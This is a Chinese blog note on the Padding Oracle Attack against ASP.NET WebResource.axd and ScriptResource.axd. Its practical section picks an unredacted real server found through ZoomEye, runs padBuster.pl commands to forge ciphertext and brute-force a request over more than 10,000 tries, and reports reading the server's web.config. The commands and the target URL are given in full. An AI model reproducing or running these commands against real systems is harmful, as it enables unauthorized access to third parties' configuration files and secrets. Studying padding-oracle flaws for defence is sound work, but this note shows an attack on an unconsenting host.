热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

PaddingOracleAttack笔记

0x00PaddingOracleAttack经常在WVS扫描的时候出现,但是作为渣渣的rr不会去利用这个漏洞。然而实际上,这个漏洞非常普遍,按照分类来说任意文件读取,但是利用成本略高,导致并不像网上常见的任意文件下载、本地文件包含或者是本地文件读取之类的漏

0x00 Padding Oracle Attack 经常在 WVS 扫描的时候出现,但是作为渣渣的 rr 不会去利用这个漏洞。然而实际上,这个漏洞非常普遍,按照分类来说任意文件读取,但是利用成本略高,导致并不像网上常见的任意文件下载、本地文件包含或者是本地文件读取之类的漏

0x00

Padding Oracle Attack 经常在 WVS 扫描的时候出现,但是作为渣渣的 rr 不会去利用这个漏洞。然而实际上,这个漏洞非常普遍,按照分类来说任意文件读取,但是利用成本略高,导致并不像网上常见的任意文件下载、本地文件包含或者是本地文件读取之类的漏洞一样流行。
漏洞造成的原因有很多写的很好的 paper 可以看,涉及到了密码学方面。下面是一些简单的介绍和利用,我也在此做一个笔记。
参考文章:

  • http://pnig0s1992.blog.51cto.com/393390/538399/
  • http://www.csdn.net/article/2010-09-26/279861

虽然看完有些头大,但是略微理解一点。下面是我的一点拙见,如果有错误还请指出。
ASP .NET 可以通过 ScriptManager 来打包输出一些文件,调用的方式类似于:

http://localhost/js.php?file=static/js/common.js

如果放在黑阔眼中,这大概就是一个明显的本地文件读取了。当然,ASP .NET 没有那么白痴,他会稍微加密一下,就像这样(实际上不是):

http://localhost/js.php?file=c3RhdGljL2pzL2NvbW1vbi5qcw

虽然这是一个简单的 base64 编码(就当它是加密好了),但是还是对于利用造成了一些难度。
说到这里还是没涉及到密码学方面的问题,而且密码学也不是咱的强项,我还是直接丢链接好了。

0x02

参考文章:

  • Padding Oracle Attack 详解

这里大致讲了一下 Padding Oracle Attack 形成的原因。
比如我们想读取 web.config 这个文件,我们可以通过加密,然后发送给服务端,服务端经过解密后发现这个是 web.config 这个文件,再返回它的内容给我们,我们就可以获取到 web.config 的内容。由于加密算法的缺陷,我们可以成功的伪造一段密文,导致利用成功。
这种攻击方式其实和哈希长度扩展攻击有着异曲同工之妙,具体的方式可以通过阅读上述的 paper 来理解。

0x03

在 ZoomEye 寻找到目标后,咱决定来一次实战攻击,在这里就不打码了。
另外,这个攻击的攻击成本还是挺高的,为了获取到这个文件信息,我大概发送了 10000 多次请求。

目标地址:http://61.157.135.8:81/

拿到目标后我们先查看源代码,发现存在 WebResource.axd 和 ScriptResource.axd 这两个文件。这两个文件是我们攻击所需要的,如果不存在的话Σ(っ °Д °;)っ...rr 也不知道该怎么办..

然后我们来获得想读取的文件的密文。

perl padBuster.pl "http://61.157.135.8:81/WebResource.axd?d=fUTgMrmxXz2EoDlng2fLLQ2&t=633802945995006876" fUTgMrmxXz2EoDlng2fLLQ2 16 -encoding 3 -plaintext "|||~/Web.config"

这里引用上面的链接里的话来解释这段命令的意思:

这里的16为每个数据块的字节数,分为8和16,目前本人还没有什么好的方法判断这个字节数,所以需要大家可以两种都试一下(大多数为 16),encoding参数有4中,分别是:0=Base64,1=Lower HEX,2=Upper HEX,3=.NET UrlToken, 4=WebSafe Base64,由于本次测试为asp.net,所以这里我们选择3,plaintext为想读取内容的文件,本次测试以web.config为例。

经过一段时间的加密之后,我们得到了密文:

这里产生的密文就是加密后的 web.config 和一些填充的字符串组成的,因为此时我们不知道密钥的值,所以我们可以生成出加密后的 web.config 的字符串(这里实在是说的不清楚..总之可以暴力破解得到正确的密文就好了)。利用命令:

perl padBuster.pl http://61.157.135.8:81/ScriptResource.axd\?d=y2qdgVbOtqJik6r5s7vtPwAAAAAAAAAAAAAAAAAAAAA1 y2qdgVbOtqJik6r5s7vtPwAAAAAAAAAAAAAAAAAAAAA1 16 -encoding 3 -bruteforce -log

然后慢慢跑啊跑。

跑了很久之后,突然发现有一个返回的 Content-Length 与众不同,就像人群中闪耀的 P7 一般:

看一下 log 文件,的确是 web.config 的内容:

URL: http://61.157.135.8:81/ScriptResource.axd?d=UwAkAAAAAAAAAAAAAAAAAMtqnYFWzraiYpOq-bO77T8AAAAAAAAAAAAAAAAAAAAA0
Post Data: 
COOKIEs:
Status: 200
Location: N/A
Content-Length: 47983
Content:
?

访问地址:http://61.157.135.8:81/ScriptResource.axd?d=UwAkAAAAAAAAAAAAAAAAAMtqnYFWzraiYpOq-bO77T8AAAAAAAAAAAAAAAAAAAAA0
浏览器中同样显示出 web.config 的内容。

至此攻击成功。

0x04

需要注意的一点是,Padding Oracle Attack 不仅仅适用于对于 ASP .NET 的攻击,还适用于采用了 CBC 模式加密方式的各种场景下。
参考文章

  • http://www.2cto.com/Article/201310/253990.html

如上所述,Padding Oracle Attack 攻击的成立条件为:

  1. 攻击者能够获得密文,以及附带在密文前面的 IV (初始化向量);
  2. 攻击者能够触发密文的解密过程,解密失败和解密成功的结果具有差异性,且能够知道密文解密后的结果。

另外所述工具在 Github 上搜索 padBuster.pl 即可。
心好乱_(:з」∠)_..

推荐阅读
  • Java验证码——kaptcha的使用配置及样式
    本文介绍了如何使用kaptcha库来实现Java验证码的配置和样式设置,包括pom.xml的依赖配置和web.xml中servlet的配置。 ... [详细]
  • 本文讨论了Alink回归预测的不完善问题,指出目前主要针对Python做案例,对其他语言支持不足。同时介绍了pom.xml文件的基本结构和使用方法,以及Maven的相关知识。最后,对Alink回归预测的未来发展提出了期待。 ... [详细]
  • 在说Hibernate映射前,我们先来了解下对象关系映射ORM。ORM的实现思想就是将关系数据库中表的数据映射成对象,以对象的形式展现。这样开发人员就可以把对数据库的操作转化为对 ... [详细]
  • 本文介绍了在SpringBoot中集成thymeleaf前端模版的配置步骤,包括在application.properties配置文件中添加thymeleaf的配置信息,引入thymeleaf的jar包,以及创建PageController并添加index方法。 ... [详细]
  • 《数据结构》学习笔记3——串匹配算法性能评估
    本文主要讨论串匹配算法的性能评估,包括模式匹配、字符种类数量、算法复杂度等内容。通过借助C++中的头文件和库,可以实现对串的匹配操作。其中蛮力算法的复杂度为O(m*n),通过随机取出长度为m的子串作为模式P,在文本T中进行匹配,统计平均复杂度。对于成功和失败的匹配分别进行测试,分析其平均复杂度。详情请参考相关学习资源。 ... [详细]
  • 动态规划算法的基本步骤及最长递增子序列问题详解
    本文详细介绍了动态规划算法的基本步骤,包括划分阶段、选择状态、决策和状态转移方程,并以最长递增子序列问题为例进行了详细解析。动态规划算法的有效性依赖于问题本身所具有的最优子结构性质和子问题重叠性质。通过将子问题的解保存在一个表中,在以后尽可能多地利用这些子问题的解,从而提高算法的效率。 ... [详细]
  • intellij idea的安装与使用(保姆级教程)
    intellijidea的安装与使用(保姆级教程)IntelliJ在业界被公认为最好的java开发工具,尤其在智能代码助手、代码自动提示、重构、JavaEE支持、各类版本工具(gi ... [详细]
  • Linux环境变量$PATH的作用及使用方法
    本文介绍了Linux环境变量$PATH的作用及使用方法。$PATH是一个由多个目录组成的变量,用冒号分隔。当执行一个指令时,系统会按照$PATH定义的目录顺序搜索同名的可执行文件,如果有多个同名指令,则先找到的会被执行。通过设置$PATH变量,可以在任何地方执行指令,无需输入绝对路径。 ... [详细]
  • 本文讨论了如何优化解决hdu 1003 java题目的动态规划方法,通过分析加法规则和最大和的性质,提出了一种优化的思路。具体方法是,当从1加到n为负时,即sum(1,n)sum(n,s),可以继续加法计算。同时,还考虑了两种特殊情况:都是负数的情况和有0的情况。最后,通过使用Scanner类来获取输入数据。 ... [详细]
  • 本文介绍了OC学习笔记中的@property和@synthesize,包括属性的定义和合成的使用方法。通过示例代码详细讲解了@property和@synthesize的作用和用法。 ... [详细]
  • 知识图谱——机器大脑中的知识库
    本文介绍了知识图谱在机器大脑中的应用,以及搜索引擎在知识图谱方面的发展。以谷歌知识图谱为例,说明了知识图谱的智能化特点。通过搜索引擎用户可以获取更加智能化的答案,如搜索关键词"Marie Curie",会得到居里夫人的详细信息以及与之相关的历史人物。知识图谱的出现引起了搜索引擎行业的变革,不仅美国的微软必应,中国的百度、搜狗等搜索引擎公司也纷纷推出了自己的知识图谱。 ... [详细]
  • 本文讲述了作者通过点火测试男友的性格和承受能力,以考验婚姻问题。作者故意不安慰男友并再次点火,观察他的反应。这个行为是善意的玩人,旨在了解男友的性格和避免婚姻问题。 ... [详细]
  • 导出功能protectedvoidbtnExport(objectsender,EventArgse){用来打开下载窗口stringfileName中 ... [详细]
  • Windows7企业版怎样存储安全新功能详解
    本文介绍了电脑公司发布的GHOST WIN7 SP1 X64 通用特别版 V2019.12,软件大小为5.71 GB,支持简体中文,属于国产软件,免费使用。文章还提到了用户评分和软件分类为Win7系统,运行环境为Windows。同时,文章还介绍了平台检测结果,无插件,通过了360、腾讯、金山和瑞星的检测。此外,文章还提到了本地下载文件大小为5.71 GB,需要先下载高速下载器才能进行高速下载。最后,文章详细解释了Windows7企业版的存储安全新功能。 ... [详细]
  • PHP组合工具以及开发所需的工具
    本文介绍了PHP开发中常用的组合工具和开发所需的工具。对于数据分析软件,包括Excel、hihidata、SPSS、SAS、MARLAB、Eview以及各种BI与报表工具等。同时还介绍了PHP开发所需的PHP MySQL Apache集成环境,包括推荐的AppServ等版本。 ... [详细]
author-avatar
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有